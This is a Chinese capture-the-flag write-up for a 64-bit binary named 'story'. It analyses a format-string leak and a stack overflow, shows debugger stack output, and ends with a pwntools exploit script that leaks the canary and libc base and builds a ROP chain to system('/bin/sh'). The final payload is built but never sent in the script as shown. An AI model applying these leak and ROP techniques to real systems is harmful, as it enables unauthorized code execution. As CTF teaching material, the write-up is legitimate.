格式化漏洞、栈溢出程序。

先对程序进行基本的检查。

fun@ubuntu:~/Desktop/pwn/story$ checksec story 
[*] '/home/fun/Desktop/pwn/story/story'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没有提供glibc,程序中也没有发现system函数。

漏洞分析:
1、格式化字符串

char *sub_400915()
{
  char *v0; // ST08_8
  __int64 v2[7]; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Please Tell Your ID:");
  sub_400ABE((__int64)v2, 0x32uLL);
  v0 = strdup((const char *)v2);
  printf("Hello ", 0x32LL);
  printf((const char *)v2);                     // Format String
  putchar('\n');
  return v0;
}

2、栈溢出

char *sub_4009A0()
{
  __int64 len; // [rsp+0h] [rbp-A0h]
  char s[136]; // [rsp+10h] [rbp-90h]
  unsigned __int64 v3; // [rsp+98h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Tell me the size of your story:");
  len = sub_400A54();
  if ( len < 0 )
    len = -len;
  if ( len > 128 )
    len = 1024LL;
  puts("You can speak your story:");
  sub_400ABE((__int64)s, len);                  // 溢出
  return strdup(s);
}

攻击思路:
1、利用格式化字符串泄露栈上的内容->(1、libc上的地址;2、canary值。)
2、凭借canary,以及libc基址,利用栈溢出控制程序执行system("/bin/sh")

#泄露

pwndbg> stack 20
00:0000│ rsp  0x7fffffffddc0 —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0008│      0x7fffffffddc8 —▸ 0x603010 ◂— ' AAAAAAAA%15p' 02:0010│      0x7fffffffddd0 ◂— ' AAAAAAAA%15p'
03:0018│      0x7fffffffddd8 ◂— 0x702435312541 /* 'A%15$p' */
04:0020│      0x7fffffffdde0 ◂— 0x0
05:0028│      0x7fffffffdde8 —▸ 0x7ffff7a85439 (_IO_file_setbuf+9) ◂— test   rax, rax
06:0030│      0x7fffffffddf0 —▸ 0x7ffff7dd2620 (_IO_2_1_stdout_) ◂— 0xfbad2887
07:0038│      0x7fffffffddf8 —▸ 0x7ffff7a7cdbd (setbuffer+189) ◂— test   dword ptr [rbx], 0x8000
08:0040│      0x7fffffffde00 ◂— 0x0
09:0048│      0x7fffffffde08 ◂— 0xabc4bc6b16a09e00
0a:0050│ rbp  0x7fffffffde10 —▸ 0x7fffffffde50 —▸ 0x400b70 ◂— push   r15
0b:0058│      0x7fffffffde18 —▸ 0x4008c6 ◂— mov    qword ptr [rbp - 0x18], rax
0c:0060│      0x7fffffffde20 —▸ 0x7fffffffdf38 —▸ 0x7fffffffe2af ◂— 0x75662f656d6f682f ('/home/fu')

看到可以泄露_IO_2_1_stdout_,以及[rbp-8]canary
泄露_IO_2_1_stdout_后,根据偏移,在https://libc.blukat.me/查询到glibc 2.23
#覆盖
覆盖时,简单的ROP
pop rdi
/bin/sh
system

exp.py

#! /usr/bin/python
import re
from pwn import *
io = process("./story")
# io = remote("ctf1.linkedbyx.com", 10395)
elf = ELF("./story")

# leak canary
# gdb.attach(io, "b *0x400A53")
payload = "%15$p|%12$p"
io.sendlineafter("Please Tell Your ID:", payload)
data = io.recvline()
canary = int(re.search("0x([0-9a-f]{16})", data).group(0), 16)
libc_base = int(re.search("\|0x([0-9a-f]*)", data).group(1), 16) - 0x3c5620
success("canary: 0x%x"%canary)
success("libc_base: 0x%x"%libc_base)

puts_plt = elf.plt["puts"]
___libc_start_main_got = elf.got["__libc_start_main"]
pop_rdi = 0x400bd3
io.sendlineafter("Tell me the size of your story:", str(129))
payload = "A"*0x88 + p64(canary)*2 + p64(pop_rdi) + p64(libc_base+0x18cd57) + p64(libc_base+0x045390)
io.interactive()